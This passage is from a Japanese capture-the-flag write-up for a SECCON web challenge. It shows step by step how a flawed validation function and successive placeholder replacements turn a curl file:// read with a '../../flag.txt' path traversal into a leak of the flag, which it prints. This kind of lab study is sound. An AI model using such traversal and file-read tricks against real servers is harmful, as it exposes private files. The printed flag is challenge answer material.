    <input name="}{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
```

index.html と flag.txt を繋げて読み込んだ直後の状態がこう。

```
    <input name="{name}" type="text" required>
    <button type="submit">Submit</button>
  </form>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{...}
```

`{` → `}{` で次のようになる。 `validate` にはバグがあり、想定しているフォーマットに沿っていない `{` 1文字が通る。

```
    <input name="}{name}" type="text" required>
    <button type="submit">Submit</button>
  </form>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{...}
```

`{name}` → `{`。

```
    <input name="}{" type="text" required>
    <button type="submit">Submit</button>
  </form>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON}{...}
```

`{" type="text" ... SECCON}` を消すと、 `SECCON` が消える。

```
    <input name="}{...}
```

クエリパラメタが辞書で渡されるから、順序がガチャで面倒かと思ったけど、最近のPythonの辞書は入れた順に出てくるらしい。

`SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}`